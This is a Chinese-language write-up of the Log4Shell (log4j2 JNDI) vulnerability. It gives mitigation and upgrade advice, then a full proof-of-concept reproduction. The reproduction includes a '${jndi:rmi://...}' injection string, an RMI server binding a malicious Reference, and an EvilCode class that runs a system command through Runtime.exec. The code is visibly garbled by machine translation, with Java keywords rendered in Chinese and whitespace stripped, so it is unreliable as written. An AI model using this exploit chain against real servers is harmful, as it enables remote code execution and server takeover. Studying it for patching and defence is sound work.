事件背景2021年12月10日凌晨前,网上曝出一个log4j2核弹级漏洞。代码执行,接管你的服务器简述JavaJNDI注入漏洞,通过构造字段使log4j2日志访问指定路径,执行任意代码。暂时修复JVM参数添加-Dlog4j2.formatMsgNoLookups=truelog4j2.formatMsgNoLookups=TrueFORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true安全建议目前ApacheLog4j已经发布新版本修复该漏洞,请受影响用户将ApacheLog4j2所有相关应用升级到最新Log4j-2.15.0版本,同时升级已知受影响的应用程序和组件,如srping-boot-strater-log4j2、ApacheSolr、ApacheFlink、ApacheDruid。简单复现我的复现环境操作系统windows10jdk:jdk1.8目录结构需要依赖org.apache.logging.log4jlog4j-api2.14.0org.apache.logging.log4jlog4j-core2.14.0com.fasterxml.jackson.dataformatjackson-dataformat-yaml2.12.3org.slf4jslf4j-api1.7.32org.apache.logging.log4jlog4j-slf4j-impl2.14.0受害者服务器代码导入org.slf4j.Logger;importorg.slf4j.LoggerFactory;/***模拟运行有log4j2漏洞的服务器*/publicclassServerTest{privatestaticfinalLoggerlogger=LoggerFactory.getLogger(ServerTest.class);publicstaticvoidmain(String[]args){//一些高版本的jdk需要开启这行代码//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");//模拟填写数据,输入结构好受害服务器打印日志时,可以使用相同的字符串执行远程代码。127.0.0.1字符串用户名="${jndi:rmi://192.168.31.104:1099/evil}";//正常打印业务日志logger.error("username:{}",username);}}构造RM??I服务响应恶意代码JavaRMI,远程方法调用(RemoteMethodInvocation),一种用于远程过程调用(RPC)的JavaAPI,可以直接调用序列化的Java对象和分布式垃圾回收其实现依赖于(JVM),所以它只支持从一个JVM到另一个JVM的调用。导入com.sun.jndi.rmi.registry.ReferenceWrapper;导入javax.naming.NamingException;导入javax.naming.Reference;导入java.rmi.AlreadyBoundException;导入java.rmi.RemoteException;导入java.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;/***准备RMI服务器并等待受害者服务器访问*/publicclassRMIServer{publicstaticvoidmain(String[]args){try{//远程对象localhost一个Registry实例,默认端口为1099LocateRegistry.createRegistry(1099);注册表registry=LocateRegistry.getRegistry();System.out.println("在端口1099上创建RMI注册表");//返回的Java对象是第一个参数是包路径Referencereference=newReference("EvilCode","EvilCode",null);ReferenceWrapperreferenceWrapper=newReferenceWrapper(reference);//将远程对象注册到RMI注册服务器并命名为evilregistry.bind("evil",referenceWrapper);}catch(RemoteException|AlreadyBoundException|NamingExceptione){e.printStackTrace();}}}恶意代码(打开计算器)在windows*/publicclassEvilCodeimplementsObjectFactory{static{System.out.println("受害者服务器将执行以下命令行");进程p;字符串[]cmd={“计算”};尝试{p=Runtime.getRuntime().exec(cmd);InputStreamfis=p.getInputStream();InputStreamReaderisr=newInputStreamReader(fis);BufferedReaderbr=newBufferedReader(isr);字符串行=空;while((line=br.readLine())!=null){System.out.println(line);}}catch(IOExceptione){e.printStackTrace();}}@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable,?>environment)throwsException{returnnull;}}重现效果java17实现的变化影响的代码就是上面的第4步,主要是java9之后的模块化方法1修改maven的pom文件org.apache.maven.pluginsmaven-compiler-plugin1717--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED添加VM选项:--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED方法2参考:https://segmentfault.com/q/10...补充:log4j2.ymlConfiguration:status:infoProperties:#定义全局变量Property:#默认配置(用于开发环境)。其他环境需要在VM参数中指定,如下:#Test:-Dlog.level.console=warn-Dlog.level.xjj=trace#Production:-Dlog.level.console=warn-Dlog.level.xjj=信息-名称:log.level.console值:信息-名称:log.path值:日志-名称:project.name值:log4j2Appenders:控制台:#output到控制台名称:CONSOLE目标:SYSTEM_OUTThresholdFilter:级别:${sys:log.level.console}#"sys:"的意思是:如果VM参数中没有指定这个变量值,将使用这个文件中定义的默认全局变量值onMatch:ACCEPTonMismatch:DENYPatternLayout:pattern:"%d{yyyy-MM-ddHH:mm:ss,SSS}:%4p%t(%F:%L)-%m%n"RollingFile:#Outputtofile,archiveover128MB-名称:ROLLING_FILEignoreExceptions:false文件名:${log.path}/${project.name}.logfilePattern:“${log.path}/$${date:yyyy-MM}/${project.name}-%d{yyyy-MM-dd}-%i.log.gz"模式布局:模式:"%d{yyyy-MM-ddHH:mm:ss,SSS}:%4p%t(%F:%L)-%m%n"策略:SizeBasedTriggeringPolicy:size:"1024MB"DefaultRolloverStrategy:max:5Loggers:Root:level:infoAppenderRef:-ref:CONSOLE-ref:ROLLING_FILE更新v1.0:使用log4j2.17.0v1.1之前存在漏洞:使用log4j2.17.1之前存在漏洞